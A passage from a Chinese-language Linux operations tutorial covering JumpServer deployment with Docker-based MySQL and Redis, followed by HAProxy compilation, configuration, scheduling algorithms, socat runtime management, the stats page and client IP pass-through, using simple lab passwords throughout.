    Authorization,防止内部误操作和权限滥用

  • 安全审计

    Audit,追溯的保障和事故分析的依据

  • 数据库审计

    Database

JumpServer 组成

安装 JumpServer

文档只介绍了极速部署和负载均衡两种安装方式,其实以前的文档是很详细的,现在大大简化了,可能是为了让你买商业版吧

jumpserver 依赖 MySQL(5.7 及以上)和 Redis(5.0 及以上),这里为了方便,均使用 docker 安装

安装 MySQL

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
root@u1:~# docker pull mysql:5.7.32  # pull mysql镜像,指定版本号5.7.32
# 在宿主机准备相关目录
root@u1:~# mkdir -p /usr/local/jumpserver/etc/mysql/{conf.d,mysql.conf.d}
root@u1:~# mkdir -p /data/jumpserver/mysql
# 生成配置文件,指定字符集
root@u1:~# tee /usr/local/jumpserver/etc/mysql/conf.d/mysql.cnf <<EOF
[mysql]
default-character-set=utf8 # 指定字符集
EOF
root@u1:~# tee /usr/local/jumpserver/etc/mysql/mysql.conf.d/mysqld.cnf <<EOF
[mysqld]
pid-file= /var/run/mysqld/mysqld.pid
socket= /var/run/mysqld/mysqld.sock
datadir= /var/lib/mysql
symbolic-links=0
character-set-server=utf8 # 指定字符集
EOF
root@u1:~# tree /usr/local/jumpserver/etc/mysql/
/usr/local/jumpserver/etc/mysql/
├── conf.d
│   └── mysql.cnf
└── mysql.conf.d
└── mysqld.cnf

2 directories, 2 files
# 启动容器
root@u1:~# docker container run -d -it -p 3306:3306 --name mysql --restart always \
-e MYSQL_ROOT_PASSWORD=123456 \
-e MYSQL_DATABASE=jumpserver \
-e MYSQL_USER=jumpserver \
-e MYSQL_PASSWORD=123456 \
-v /data/jumpserver/mysql:/var/lib/mysql \
-v /usr/local/jumpserver/etc/mysql/mysql.conf.d/mysqld.cnf:/etc/mysql/mysql.conf.d/mysqld.cnf \
-v /usr/local/jumpserver/etc/mysql/conf.d/mysql.cnf:/etc/mysql/conf.d/mysql.cnf \
mysql:5.7.32

# 添加root'@'127.0.0.1用户
root@u1:~# docker exec -it mysql bash
ot@829aa7ccf010:/# mysql -uroot -p123456 -e "CREATE USER 'root'@'127.0.0.1' IDENTIFIED BY \"123456\";"
root@829aa7ccf010:/# mysql -uroot -p123456 -e "GRANT ALL ON *.* TO 'root'@'127.0.0.1';"

安装 Redis

1
2
3
4
5
6
7
8
9
10
11
12
# 拉取镜像
root@u1:~# docker pull redis:5.0.10-alpine
# 启动容器
root@u1:~# docker run -d -p 6379:6379 --name redis --restart always redis:5.0.10-alpine

# 另开一台虚拟机,验证redis是否安装成功
[root@c71 ~]$yum install redis -y
[root@c71 ~]$redis-cli -h 10.0.0.118
10.0.0.118:6379> info server
# Server
redis_version:5.0.10
...

部署 JumpServer

可以单独部署各个组件,为了方便,直接部署全部:jms_all

生成 key 和 token:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
root@u1:/data/wwwroot/test# cat key.sh
#!/bin/bash
if [ ! "$SECRET_KEY" ]; then
SECRET_KEY=$(cat /dev/urandom | tr -dc A-Za-z0-9 | head -c 50)
echo "SECRET_KEY=$SECRET_KEY" >>~/.bashrc
echo $SECRET_KEY
else
echo $SECRET_KEY
fi
if [ ! "$BOOTSTRAP_TOKEN" ]; then
BOOTSTRAP_TOKEN=$(cat /dev/urandom | tr -dc A-Za-z0-9 | head -c 16)
echo "BOOTSTRAP_TOKEN=$BOOTSTRAP_TOKEN" >>~/.bashrc
echo $BOOTSTRAP_TOKEN
else
echo $BOOTSTRAP_TOKEN
fi
root@u1:/data/wwwroot/test# ./key.sh
4NrDPj3azajRYQ6B4MM9pi559G1l3JPOW4i8LkUblSKUM7jojL # SECRET_KEY
p4ecZLj7Q2QTLs1s # BOOTSTRAP_TOKEN
root@u1:/data/wwwroot/test# tail -n2 ~/.bashrc
SECRET_KEY=4NrDPj3azajRYQ6B4MM9pi559G1l3JPOW4i8LkUblSKUM7jojL
BOOTSTRAP_TOKEN=p4ecZLj7Q2QTLs1s
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
# 拉取镜像,官方给的docker镜像版本较低
root@u1:~# docker pull jumpserver/jms_all:v2.5.3
# 启动容器
root@u1:~# docker run -d --name jms_all -p 80:80 -p 2222:2222 --restart always \
-v /opt/jumpserver/data:/opt/jumpserver/data \
-e SECRET_KEY=4NrDPj3azajRYQ6B4MM9pi559G1l3JPOW4i8LkUblSKUM7jojL \
-e BOOTSTRAP_TOKEN=p4ecZLj7Q2QTLs1s \
-e DB_HOST=172.17.0.1 \
-e DB_PORT=3306 \
-e DB_USER=root \
-e DB_PASSWORD=123456 \
-e DB_NAME=jumpserver \
-e REDIS_HOST=172.17.0.1 \
-e REDIS_PORT=6379 \
-e REDIS_PASSWORD='' \
--privileged=true \
jumpserver/jms_all:v2.5.3

# 验证启动是否成功
root@u1:~# docker logs -f jms_all
2021-01-09 11:44:43 Sat Jan 9 11:44:43 2021
2021-01-09 11:44:43 JumpServer version v2.5.3, more see https://www.jumpserver.org
2021-01-09 11:44:43 Check database connection ...
...
2021-01-09 11:44:49 Database connect success
2021-01-09 11:44:49 Check database structure change ...
2021-01-09 11:44:49 Migrate model change to database ...
Operations to perform:
Apply all migrations: admin, applications, assets, audits, auth, authentication, captcha, common, contenttypes, django_cas_ng, django_celery_beat, jms_oidc_rp, ops, orgs, perms, sessions, settings, terminal, tickets, users
Running migrations:
...各种OK...
2021-01-09 11:45:16 Collect static files
2021-01-09 11:45:19 Collect static files done
guacd[88]: INFO: Guacamole proxy daemon (guacd) version 1.2.0 started
Starting guacd: SUCCESS
Tomcat started.
Jumpserver ALL v2.5.3
官网 http://www.jumpserver.org
文档 http://docs.jumpserver.org

进入容器命令 docker exec -it jms_all /bin/bash
root@u1:~# ll /data/jumpserver/mysql/jumpserver/
total 15648
... # 生成的各种表

通过 80 端口登录:浏览器输入 10.0.0.118

默认账号密码都是 admin,第一次登录需要修改密码,修改密码为 123456

通过 2222 端口登录:另开一台虚拟机

1
2
3
4
5
6
7
8
9
10
11
12
13
14
[root@c71 ~]$ssh -p 2222 admin@10.0.0.118
admin@10.0.0.118's password: # 123456
Administrator, 欢迎使用JumpServer开源堡垒机系统

1) 输入 部分IP,主机名,备注 进行搜索登录(如果唯一).
2) 输入 / + IP,主机名,备注 进行搜索,如:/192.168.
3) 输入 p 进行显示您有权限的主机.
4) 输入 g 进行显示您有权限的节点.
5) 输入 d 进行显示您有权限的数据库.
6) 输入 k 进行显示您有权限的Kubernetes.
7) 输入 r 进行刷新最新的机器和节点信息.
8) 输入 h 进行显示帮助.
9) 输入 q 进行退出.
Opt>

使用 JumpServer

配置邮件

系统设置 -> 邮件设置:

用户管理

多因子认证

创建用户的时候,可以选择开启多因子认证功能,就是需要安装手机 APP 谷歌验证器,在登录的时候,打开谷歌验证器输入验证码,二次验证,加强安全性

注意:启用,未来用户可以自己关闭;强制启用,未来用户不可以强制关闭

注意:服务器的时间需要校准,否则谷歌验证器无法通过验证

1
timedatectl set-timezone Asia/Shanghai # 校准服务器时间

统审计员

系统审计员即查看录像带的人,可以实时共享其他用户的终端,可以以录像的方式查看用户的操作历史

管理资产

jumpserver 内置了 ansible

注意:ubuntu 默认不能使用 root 进行 ssh 连接,需要修改 ssh 配置

1
2
3
4
lujinkai@u1:~$ sudo vim /etc/ssh/sshd_config
PermitRootLogin yes # 在 #PermitRootLogin prohibit-password 下面添加此行
UseDNS no # 加速ssh连接速度
lujinkai@u1:~$ sudo systemctl restart sshd.service # 重启服务

管理用户

管理用户是资产(被控服务器)上的 root,或拥有 NOPASSWD: ALL sudo 权限的用户, JumpServer 使用该用户来 推送系统用户获取资产硬件信息 等。

系统用户

用户使用自己的用户名登录 JumpServer,JumpServer 使用系统用户登录资产和应用

命令过滤

只能是间接禁止,因为虽然禁止的命令不能使用,但是可以通过脚本执行

权限管理

资产授权

有了用户,有了资产,就需要将用户和资产关联起来

应用管理

数据库

以 mysql 为例:

  1. 应用管理 –> 数据库 –> 创建
  2. 权限管理 –> 系统用户 –> 创建,协议选 mysql
  3. 权限管理 –> 应用授权 –> 创建

注意:jumpserver2.5.3 版本有 bug,web 终端无法连接数据库,建议选择其他版本,v2.4.4 没有此 bug

会话管理

所有用户的所有行为都会被 jumpserver 以录像的形式记录下来,方便在将来出现问题的时候进行追责

web 架构介绍

单机房架构

多机房架构

公有云架构

私有云架构

负载均衡

负载均衡:Load Balance,简称 LB

负载均衡类型

  • 四层(传输层):LVS、Nginx(1.9 之后)、HAProxy

    LVS 是集成在内核中的功能,真四层;Nginx 和 HAProxy 是用户空间的软件,伪四层

  • 七层(应用层):Nginx、HAProxy

  • 硬件:F5NetscalerArray深信服北京灵州

    大公司都用 F5

应用场景

企业生产环境中,每天会有很多的需求变更,比如增加服务器、新业务上线、url 路由修改、域名配置等等,对于前端负载均衡设备来说,容易维护,复杂度低,是首选指标

LVS 性能最高,最稳定,但是只支持四层负载 ,百万级并发

HAProxy 四层负载和七层代理都支持,如果只做反向代理,推荐 HAProxy,功能丰富,方便管理,万级并发

Nginx 的功能基于模块实现,HAProxy 有的功能 Nginx 都有,小型系统可以使用 Nginx

HAProxy

C 语言开发,高性能的 TCP 和 HTTP 负载均衡器,支持基于 cookie 的持久性,自动故障切换,支持正则表达式及 web 状态统计,目前最新 TLS 版本为 2.2

分为企业版和社区版

  • TCP 和 HTTP 反向代理
  • SSL/TSL 服务器
  • 可以针对 HTTP 请求添加 cookie,进行路由后端服务器
  • 可平衡负载至后端服务器,并支持持久连接
  • 支持所有主服务器故障切换至备用服务器
  • 支持专用端口实现监控服务
  • 支持停止接受新连接请求,而不影响现有连接
  • 可以在双向添加,修改或删除 HTTP 报文首部
  • 响应报文压缩
  • 支持基于 pattern 实现连接请求的访问控制
  • 通过特定的 URI 为授权用户提供详细的状态信息

HAProxy 安装

yum 或者 apt 安装的版本较老,推荐编译安装

HAProxy 支持基于 Lua 实现功能扩展

编译安装 Lua

1
2
3
4
5
6
wget http://www.lua.org/ftp/lua-5.4.2.tar.gz
mkdir /usr/local/lua
tar zxvf lua-5.4.2.tar.gz -C /usr/local/lua --strip-components 1
cd /usr/local/lua
make all test
./src/lua -v # Lua 5.4.2 Copyright (C) 1994-2020 Lua.org, PUC-Rio

编译安装 HAProxy

http://www.haproxy.org/ # 优先下载 LTS 版

http://www.haproxy.org/download/

1
2
3
4
5
6
7
8
9
10
11
12
13
wget http://www.haproxy.org/download/2.2/src/haproxy-2.2.6.tar.gz
yum -y install gcc openssl-devel pcre-devel systemd-devel
mkdir /usr/local/haproxy
tar zxvf haproxy-2.2.6.tar.gz
cd haproxy-2.2.6/
# 参考INSTALL文件进行编译安装
make ARCH=x86_64 TARGET=linux-glibc USE_PCRE=1 USE_OPENSSL=1 USE_ZLIB=1 USE_SYSTEMD=1 USE_LUA=1 LUA_INC=/usr/local/lua/src/ LUA_LIB=/usr/local/lua/src/
make install PREFIX=/usr/local/haproxy
vim /etc/profile # export PATH=/usr/local/haproxy/sbin:$PATH
. /etc/profile
haproxy -v
haproxy -V
haproxy -vv
1
apt install make gcc build-essential libssl-dev zlib1g-dev libpcre3 libpcre3-dev libsystemd-dev libreadline-dev -y

配置文件

查看配置文件示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
[root@c71 ~]$tree /usr/local/src/haproxy-2.2.6/examples/
/usr/local/src/haproxy-2.2.6/examples/
├── acl-content-sw.cfg
├── content-sw-sample.cfg
├── errorfiles
│   ├── 400.http
│   ├── 403.http
│   ├── 408.http
│   ├── 500.http
│   ├── 502.http
│   ├── 503.http
│   ├── 504.http
│   └── README
├── haproxy.init
├── option-http_proxy.cfg
├── socks4.cfg
├── transparent_proxy.cfg
└── wurfl-example.cfg

1 directory, 15 files

创建自定义的配置文件:

HAProxy 的配置文件 haproxy.cfg 由两大部分组成,分别是 global 和 proxies 部分

  • global:全局配置段

    进程及安全配置相关的参数、性能调整相关参数、Debug 参数

  • proxies:代理配置段

    • defaults [<name>]:默认配置项,针对以下的 frontend、backend 和 listen 生效,可以多个 name 也可以没有 name
    • frontend <name>:前端,类似于 Nginx 的 server 和 LVS 的服务集群
    • backend <name>:后端,相当于 nginx 的 upstream 和 LVS 中的 RS
    • listen <name>:同时拥有前端和后端配置,配置简单,通常只用于 TCP 协议的应用,适合简单的环境,生产推荐使用

以下列举的是部分配置,官方文档:http://cbonte.github.io/haproxy-dconv/2.2/configuration.html

global

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
[root@c71 ~]$mkdir /var/lib/haproxy
[root@c71 ~]$mkdir /etc/haproxy
[root@c71 ~]$vim /etc/haproxy/haproxy.cfg
global
chroot /usr/local/haproxy # 锁定运行目录
stats socket /var/lib/haproxy/haproxy.sock mode 600 level admin # socket文件
#uid 99
#gid 99
user haproxy # 运行haproxy的用户
group haproxy # 运行haproxy的用户组
daemon
nbproc 1 # 启的haproxy work 进程数,默认进程数是一个
# nbthread 1 # 指定每个haproxy进程开启的线程数,默认为每个进程一个线程,和nbproc配置互斥
#cpu-map 1 0 # 绑定haproxy worker 进程至指定CPU,将第1个work进程绑定至0号CPU
#cpu-map 2 1 # 绑定haproxy worker 进程至指定CPU,将第2个work进程绑定至1号CPU
#cpu-map 3 2
#cpu-map 4 3
maxconn 100000 # 每个haproxy进程的最大并发连接数
# maxsslconn n # 每个haproxy进程ssl最大连接数,用于haproxy配置了证书的场景下
# maxconnrate n # 每个进程每秒创建的最大连接数量
# spread-checks n # 后端server状态check随机提前或延迟百分比时间,建议2-5(20%-50%)之间,默认0
pidfile /var/lib/haproxy/haproxy.pid # 指定pid文件路径
# log 127.0.0.1 local2 info # 全局的syslog服务器;日志服务器需要开启UDP协议,最多可以定义两个

HAproxy 本身不记录客户端的访问日志,此外为减少服务器负载,一般生产中 HAProxy 不记录日志

defaults

1
2
3
4
5
6
7
8
9
10
11
12
defaults
option redispatch # 当server Id对应的服务器挂掉后,强制定向到其他健康的服务器,重新派发
option abortonclose # 服务器负载很高时,自动结束当前队列处理比较久的连接,针对业务情况选择开启
option http-keep-alive # 开启与客户端的会话保持
option forwardfor # 透传客户端真实IP至后端web服务器
maxconn 100000
mode http # http|tcp,设置默认工作类型,使用TCP服务器性能更好,减少压力
timeout connect 120s # 客户端请求从haproxy到后端server最长连接等待时间(TCP连接之前),默认单位ms
timeout server 120s # 客户端请求从haproxy到后端服务端的请求处理超时时长(TCP连接之后),默认单位ms,如果超时,会出现502错误,此值建议设置较大些,访止502错误
timeout client 120s # 设置haproxy与客户端的最长非活动时间,默认单位ms,建议和timeoutserver相同
timeout check 5s # 对后端服务器的默认检测超时时间
default-server inter 1000 weight 3 # 指定后端服务器的默认设置

default-server 指定后端服务器的默认配置,以下是主要配置项:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 对指定real server进行健康状态检查,默认不开启检查,只有check后面没有其它配置也可以启用检查功能
# 默认对相应的后端服务器IP和端口,利用TCP连接进行周期性健康性检查,注意必须指定端口才能实现健康性检查
check
addr <IP> # 健康状态监测IP,可以是专门的数据网段,减少业务网络的流量
port <num> # 健康状态监测端口
inter <num> # 健康状态检查间隔时间,默认2000 ms
fall <num> # 后端服务器从线上转为线下的检查的连续失效次数,默认为3
rise <num> # 后端服务器从下线恢复上线的检查的连续有效次数,默认为2
# 动态修改权重,默认为1,最大值为256,0(状态为蓝色)表示不参与负载均衡,但仍接受持久连接
weight <weight>
backup # 将后端服务器标记为备份状态,只在所有非备份主机down机时提供服务,类似Sorry Server
disabled # 将后端服务器标记为不可用状态,即维护状态,除了持久模式,将不再接受连接,状态为深黄色
redirect prefix http://www.baidu.com/ # 302重定向
redir http://www.baidu.com # 同上,区别是最后不加"/"
maxconn <maxconn> # 当前后端server的最大并发连接数

注意:HAProxy server 的 weight 和 Nginx server 的 weight 表示的意义是一样的,和 Keepalived real_server 的 weight 表示的意义不一样

frontend

1
2
3
4
5
6
7
8
9
10
frontend magedu_web_port # 形式命名:业务-服务-端口号
# 指定HAProxy的监听地址,可以是IPV4或IPV6,可以同时监听多个IP或端口,可同时用于listen字段中
# bind [<address>]:<port_range> [, ...] [param*],address省略则等于0.0.0.0
# 注意:如果需要绑定在非本机的IP,例如vip,需要开启内核参数:net.ipv4.ip_nonlocal_bind=1
bind :80,:8080
bind 10.0.0.7:10080,:8801-8810,10.0.0.17:9001-9010
mode http|tcp # 指定负载协议类型
use_backend <backend_name> # 调用的后端服务器组名称
# 针对所有server配置,当前端服务器的连接数达到上限后的后援队列长度,注意:不支持backend
backlog <backlog>

backend

1
2
3
4
5
6
backend magedu-test-http-nodes
mode tcp # 指定负载协议类型,和对应的frontend必须一致
default-server inter 1000 weight 6
# server name address:port param* 为后端真实服务器指定一个内部名称,随便写一个即可
server web1 10.0.0.27:80 check # 定义后端real server,必须指定IP和端口
server web1 10.0.0.17:80 weight 2 check addr 10.0.0.117 port 8080

listen

1
2
3
4
5
6
7
8
9
10
11
12
13
listen web_port
mode http
bind 10.0.0.71:80
log global # 开启日志功能,默认不记录日志
server web1 127.0.0.1:8080 check inter 3000 fall 2 rise 5

listen stats # stats相关:状态页配置项
mode http
bind 0.0.0.0:9999
log global
stats enable # 于默认的参数启用stats page
stats uri /haproxy-status # 自定义stats page uri,默认值:/haproxy?stats
stats auth admin:123456 # 认证时的账号和密码,可定义多个用户,每行指定一个用户

使用子配置文件保存配置

按业务分类,将配置信息拆分,放在不同的子配置文件中,从而达到方便维护的目的

注意:配置文件必须为 cfg 后缀非.开头

1
mkdir /etc/haproxy/conf.d/

因为没有类似include的指令引入子配置,所以要在启动命令上指定子配置文件

systemctl 启动文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
[root@c71 ~]$vim /usr/lib/systemd/system/haproxy.service
[Unit]
Description=HAProxy Load Balancer
After=syslog.target network.target

[Service]
ExecStartPre=/usr/local/haproxy/sbin/haproxy -f /etc/haproxy/haproxy.cfg -f /etc/haproxy/conf.d/ -c -q
ExecStart=/usr/local/haproxy/sbin/haproxy -Ws -f /etc/haproxy/haproxy.cfg -f /etc/haproxy/conf.d/ -p /var/lib/haproxy/haproxy.pid
ExecReload=/bin/kill -USR2 $MAINPID

[Install]
WantedBy=multi-user.target

[root@c71 ~]$useradd -r -s /sbin/nologin -d /var/lib/haproxy haproxy

HAProxy 调度算法

官方文档:http://cbonte.github.io/haproxy-dconv/2.2/configuration.html#4-balance

HAProxy 的调度算法分为静态和动态两种:

  • 静态算法:按照事先定义好的规则轮询公平调度,不关心后端服务器的当前负载、连接数和响应速度等,且无法实时修改权重(只能为 0 和 1,不支持其它值),只能靠重启 HAProxy 生效
  • 动态算法:基于后端服务器状态进行调度适当调整,优先调度至当前负载较低的服务器,且权重可以 haproxy 运行时动态调整无需重启

静态算法

static-rr

基于权重的轮询调度,不支持运行时利用 socat 进行权重的动态调整(只支持 0 和 1)及后端服务器慢启动,其后端主机数量没有限制,相当于 LVS 中的 wrr

1
2
3
4
5
6
7
listen web_host
bind 10.0.0.7:80,:8801-8810,10.0.0.7:9001-9010
mode http
log global
balance static-rr
server web1 10.0.0.17:80 weight 1 check inter 3000 fall 2 rise 5
server web2 10.0.0.27:80 weight 2 check inter 3000 fall 2 rise 5

first

根据服务器在列表中的位置,自上而下进行调度,但是其只会当第一台服务器的连接数达到上限,新请求才会分配给下一台服务,因此会忽略服务器的权重设置,此方式使用较少

不支持用 socat 进行动态修改权重,可以设置 0 和 1

动态算法

socat 工具

Socat 是 Linux 下的一个多功能的网络工具,名字来由是 「Socket CAT」。其功能与有瑞士军刀之称的 Netcat 类似,可以看做是 Netcat 的加强版。

Socat 的主要特点就是在两个数据流之间建立通道,且支持众多协议和链接方式。如 IP、TCP、 UDP、IPv6、PIPE、EXEC、System、Open、Proxy、Openssl、Socket 等。

这里利用 socat 工具,对服务器动态权重和其它状态进行调整

socat stdio:对文件进行标准写入和标准读取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 查看HAProxy帮助
echo "help" | socat stdio /var/lib/haproxy/haproxy.sock
# 查看HAProxy信息
echo "show info" | socat stdio /var/lib/haproxy/haproxy.sock
# 查看所有server的各种状态
echo "show servers state" | socat stdio /var/lib/haproxy/haproxy.sock
# 查看指定server的weight
echo "get weight magedu-test-80/web2" | socat stdio /var/lib/haproxy/haproxy.sock
# 修改指定server的weight,如果静态算法,如:static-rr,可以更改weight为0或1,但不支持动态更改为其它值
echo "set weight magedu-test-80/web2 2" | socat stdio /var/lib/haproxy/haproxy.sock
# 将指定后端服务器禁用
echo "disable server magedu-test-80/web2" | socat stdio /var/lib/haproxy/haproxy.sock
# 启用指定后端服务器
echo "enable server magedu-test-80/web2" | socat stdio /var/lib/haproxy/haproxy.sock
# 将后端服务器软下线,即weight设为0
echo "set weight magedu-test-80/web1 0" | socat stdio /var/lib/haproxy/haproxy.sock

一个进程就有一个 haproxy.socket 文件,以上的操作针对的都是单进程

roundrobin

基于权重的轮询动态调度算法,支持权重的运行时调整,不同于 lvs 中的 rr 轮训模式,HAProxy 中的 roundrobin 支持慢启动(新加的服务器会逐渐增加转发数),其每个后端 backend 中最多支持 4095 个 real server,支持对 real server 权重动态调整,roundrobin 为默认调度算法,此算法使用广泛

支持动态调整权重:

1
2
3
4
5
echo "get weight web_host/web1" | socat stdio /var/lib/haproxy/haproxy.sock
1 (initial 1)
echo "set weight web_host/web1 3" | socat stdio /var/lib/haproxy/haproxy.sock
echo "get weight web_host/web1" | socat stdio /var/lib/haproxy/haproxy.sock
3 (initial 1)

leastconn

leastconn 加权的最少连接的动态,支持权重的运行时调整和慢启动,即根据当前连接最少的后端服务器而非权重进行优先调度(新客户端连接),比较适合长连接的场景使用,比如:MySQL 等场景

random

1.9 版本增加,负载平衡算法,其基于随机数作为一致性 hash 的 key,随机负载平衡对于大型服务器场或经常添加或删除服务器非常有用,支持 weight 的动态调整,weight 较大的主机有更大概率获取新请求

其他算法

其它算法即可作为静态算法,又可以通过选项成为动态算法

source

源地址 hash,基于用户源地址 hash 并将请求转发到后端服务器,后续同一个源地址请求将被转发至同一个后端 web 服务器。此方式当后端服务器数据量发生变化时,会导致很多用户的请求转发至新的后端服务器,默认为静态方式,但是可以通过 hash-type 支持的选项更改

这个算法一般是在不插入 Cookie 的 TCP 模式下使用,也可给拒绝会话 cookie 的客户提供最好的会话粘性,适用于 session 会话保持但不支持 cookie 和缓存的场景

源地址有两种转发客户端请求到后端服务器的服务器选取计算方式:取模法、一致性 hash

map-base 取模法

对 source 地址进行 hash 计算,再基于服务器总权重的取模,最终结果决定将此请求转发至对应的后端服务器。此方法是静态的,即不支持在线调整权重,不支持慢启动,可实现对后端服务器均衡调度。缺点是当服务器的总权重发生变化时,即有服务器上线或下线,都会因总权重发生变化而导致调度结果整体改变,hash-type 指定的默认值为此算法

1
2
3
4
5
6
7
8
listen web_host
bind 10.0.0.7:80,:8801-8810,10.0.0.7:9001-9010
mode tcp
log global
balance source
hash-type map-based # 取模法
server web1 10.0.0.17:80 weight 1 check inter 3000 fall 2 rise 3
server web2 10.0.0.27:80 weight 1 check inter 3000 fall 2 rise 3
一致性 hash

当服务器的总权重发生变化时,对调度结果影响是局部的,不会引起大的变动,hash(o)mod n ,该 hash 算法是动态的,支持使用 socat 等工具进行在线权重调整,支持慢启动

1
2
3
4
5
6
7
8
listen web_host
bind 10.0.0.7:80,:8801-8810,10.0.0.7:9001-9010
mode tcp
log global
balance source
hash-type consistent # 一致性hash
server web1 10.0.0.17:80 weight 1 check inter 3000 fall 2 rise 5
server web2 10.0.0.27:80 weight 1 check inter 3000 fall 2 rise 5

uri

基于对用户请求的 uri 的左半部分或整个 uri 做 hash,再将 hash 结果对总权重进行取模后,根据最终结果将请求转发到后端指定服务器,适用于后端是缓存服务器场景,默认是静态算法,也可以通过 hash-type 指定 map-based 和 consistent,来定义使用取模法还是一致性 hash

注意:此算法基于应用层,所以只支持 mode http ,不支持 mode tcp

1
2
3
4
5
6
7
8
9
listen web_host
bind 10.0.0.7:80,:8801-8810,10.0.0.7:9001-9010
mode http
log global
balance uri
# hash-type map-based # 取模法,默认,可省略
hash-type consistent # 一致性hash
server web1 10.0.0.17:80 weight 1 check inter 3000 fall 2 rise 5
server web2 10.0.0.27:80 weight 1 check inter 3000 fall 2 rise 5

url_param

对用户请求的 url 中的 params 部分中的一个参数 key 对应的 value 值作 hash 计算,并由服务器总权重相除以后派发至某挑出的服务器;通常用于追踪用户,以确保来自同一个用户的请求始终发往同一个 real server,如果没有 key,将按 roundrobin 算法

1
2
3
4
5
6
7
8
9
10
# 假设:http://10.0.0.7/index.html?userid=<NAME_ID>&typeid=<TYPE_ID>
listen web_host
bind 10.0.0.7:80,:8801-8810,10.0.0.7:9001-9010
mode http
log global
balance url_param userid # 对userid的值取hash
# hash-type map-based # 取模法,默认,可省略
hash-type consistent # 一致性hash
server web1 10.0.0.17:80 weight 1 check inter 3000 fall 2 rise 5
server web2 10.0.0.27:80 weight 1 check inter 3000 fall 2 rise 5

hdr

针对用户每个 http 头部(header)请求中的指定信息做 hash,此处由 name 指定的 http 首部将会被取出并做 hash 计算,然后由服务器总权重取模以后派发至某挑出的服务器,如果无有效值,则会使用默认的轮询调度

1
2
3
4
5
6
7
8
9
listen web_host
bind 10.0.0.7:80,:8801-8810,10.0.0.7:9001-9010
mode http
log global
balance hdr(User-Agent)
# hash-type map-based # 取模法,默认,可省略
hash-type consistent # 一致性hash
server web1 10.0.0.17:80 weight 1 check inter 3000 fall 2 rise 5
server web2 10.0.0.27:80 weight 1 check inter 3000 fall 2 rise 5

测试访问:

1
2
[root@c71 ~]$curl -vA 'firefox' http://10.0.0.7/index.html
[root@c71 ~]$curl -vA 'chrome' http://10.0.0.7/index.html

各种算法使用场景

1
2
3
4
5
6
7
8
9
10
first        # 使用较少
static-rr # 做了session共享的web集群
roundrobin
random
leastconn # 数据库
source # 基于客户端公网IP的会话保持
Uri--------------->http # 缓存服务器,CDN服务商,蓝汛、百度、阿里云、腾讯
url_param--------->http # 可以实现session保持
hdr # 基于客户端请求报文头部做下一步处理
rdp-cookie # 基于Windows主机,很少使用

高级功能及配置

为当前 server 指定 cookie 值,实现基于 cookie 的会话黏性,相对于基于 source 地址 hash 调度算法对客户端的粒度更精准,但同时也加大了 haproxy 负载,目前此模式使用较少, 已经被 session 共享服务器代替

1
2
3
4
5
6
7
8
9
# 配置示例:
listen web_port
bind 10.0.0.7:80
balance roundrobin
mode http # 注意:不支持 tcp
log global
cookie WEBSRV insert nocache indirect
server web1 10.0.0.17:80 check inter 3000 fall 2 rise 5 cookie web1
server web2 10.0.0.27:80 check inter 3000 fall 2 rise 5 cookie web2

HAProxy 状态页

通过 web 界面,显示当前 HAProxy 的运行状态

状态页配置项:

1
2
3
4
5
6
7
8
stats enable     # 基于默认的参数启用stats page
stats hide-version # 将状态页中haproxy版本隐藏
stats refresh <delay> # 设定自动刷新时间间隔,默认不自动刷新
stats uri <prefix> # 自定义stats page uri,默认值:/haproxy?stats
stats realm <realm> # 账户认证时的提示信息,示例:stats realm HAProxy\
Statistics
stats auth <user>:<passwd> # 认证时的账号和密码,可定义多个用户,每行指定一个用户
stats admin { if | unless } <cond> # 启用stats page中的管理功能
1
2
3
4
5
6
7
8
9
10
11
# 启用状态页
listen stats
bind :9999
stats enable
#stats hide-version
stats uri /haproxy-status # 自定义stats page uri
stats realm HAProxy\ Stats\ Page # 账户认证时的提示信息
stats auth haadmin:123456 # 两个用户
stats auth admin:123456
#stats refresh 30s
stats admin if TRUE # 安全原因,不建议打开

backend server 信息:

利用状态页实现 haproxy 服务器的健康性检查:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
[root@centos8 ~]#curl -I http://haadmin:123456@10.0.0.7:9999/haproxy-status
HTTP/1.1 200 OK
cache-control: no-cache
content-type: text/html

[root@centos8 ~]#curl -I -u haadmin:123456 http://10.0.0.7:9999/haproxy-status
HTTP/1.1 200 OK
cache-control: no-cache
content-type: text/html

[root@centos8 ~]#echo $?
0

[root@haproxy ~]#systemctl stop haproxy

[root@centos8 ~]#curl -I http://haadmin:123456@10.0.0.7:9999/haproxy-status
curl: (7) Failed to connect to 10.0.0.7 port 9999: Connection refused

[root@centos8 ~]#echo $?
7

IP 透传

web 服务器中需要记录客户端的真实 IP 地址,用于做访问统计、安全防护、行为分析、区域排行等场景

四层负载 和 七层代理

四层负载:

四层负载均衡设备不参与建立链接(实际上还是建立的,haproxy 和 lvs 不同,haproxy 是伪四层负载均衡)

七层代理:

七层负载均衡设备起到了代理服务器的作用,七层代理需要和 Client 以及后端服务器分别建立连接

四层 IP 透传

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# haproxy 配置示例
listen web_http_nodes
bind 172.16.0.100:80
mode tcp # 不支持http协议
balance roundrobin
server web1 to2b.cn:80 send-proxy check inter 3000 fall 3 rise 5 # 添加send-proxy

# nginx配置:在访问日志中通过变量$proxy_protocol_addr 记录透传过来的客户端IP
http {
log_format main '$remote_addr - $remote_user [$time_local] "$request" "$proxy_protocol_addr"'
server {
listen 80 proxy_protocol; #启用此项,将无法直接访问此网站,只能通过四层代理访问
server_name to2b.cn;
...

七层 IP 透传

当 haproxy 工作在七层的时候,也可以透传客户端真实 IP 至后端服务器

HAProxy 配置:

在由 haproxy 发往后端主机的请求报文中添加“X-Forwarded-For”首部

1
2
3
4
5
option forwardfor [ except <network> ] [ header <name> ] [ if-none ]

[ except <network> ]:请求报请来自此处指定的网络时不予添加此首部,如haproxy自身所在网络
